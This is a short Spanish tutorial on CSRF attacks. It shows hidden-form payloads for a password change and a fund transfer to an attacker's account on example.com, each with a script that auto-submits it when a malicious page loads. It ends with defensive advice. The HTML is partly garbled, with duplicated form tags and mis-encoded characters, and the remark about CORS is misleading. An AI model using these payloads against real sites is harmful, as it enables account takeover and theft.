A continuación, te proporciono algunos ejemplos básicos de ataques de Cross-Site Request Forgery (CSRF). Recuerda que estos ejemplos deben utilizarse solo en entornos controlados y con el permiso del propietario del sitio web. Realizar CSRF sin permiso es ilegal y puede tener consecuencias legales graves.
- Cambio de contraseña:
Supongamos que un sitio web tiene una URL para cambiar la contraseña de un usuario:
<form action="http://www.example.com/change_password" method="POST">
<input name="new_password" type="hidden" value="newpassword123" />
<input type="submit" value="Cambiar contraseña" /> </form><form action="http://www.example.com/change_password" method="POST"> </form><form action="http://www.example.com/change_password" method="POST">Un atacante puede crear una página maliciosa que haga que un usuario legÃtimo la visite involuntariamente:</form><form action="http://www.example.com/change_password" method="POST"> </form><form action="http://www.example.com/change_password" method="POST"> <br /></form>
Un atacante puede crear una página maliciosa que haga que un usuario legÃtimo la visite involuntariamente:
<script>
// EnvÃa la solicitud de cambio de contraseña automáticamente cuando se carga la página
document.forms[0].submit();
</script>
Si el usuario está autenticado en el sitio web y visita la página maliciosa (evil.html), el navegador enviará una solicitud para cambiar la contraseña del usuario sin su conocimiento o consentimiento.
Transferencia de fondos:
Supongamos que un sitio web permite transferir fondos entre cuentas con la siguiente URL:
<form action="http://www.example.com/transfer_funds" method="POST">
<input type="hidden" name="to_account" value="attacker_account" />
<input type="hidden" name="amount" value="1000" />
<input type="submit" value="Transferir fondos" />
</form>
El atacante puede crear una página maliciosa que haga que un usuario legÃtimo la visite involuntariamente:
<script>
// EnvÃa la solicitud de transferencia de fondos automáticamente cuando se carga la página
document.forms[0].submit();
</script>
Si el usuario está autenticado en el sitio web y visita la página maliciosa (evil.html), el navegador enviará una solicitud para transferir fondos a la cuenta del atacante sin el conocimiento o consentimiento del usuario. Para protegerse contra ataques CSRF, los desarrolladores deben implementar tokens CSRF (tokens anti-falsificación) y validar las solicitudes entrantes para asegurarse de que provengan de fuentes legÃtimas y no de sitios maliciosos. Los navegadores modernos también admiten polÃticas de cabeceras CORS (Cross-Origin Resource Sharing) que pueden ayudar a mitigar estos ataques.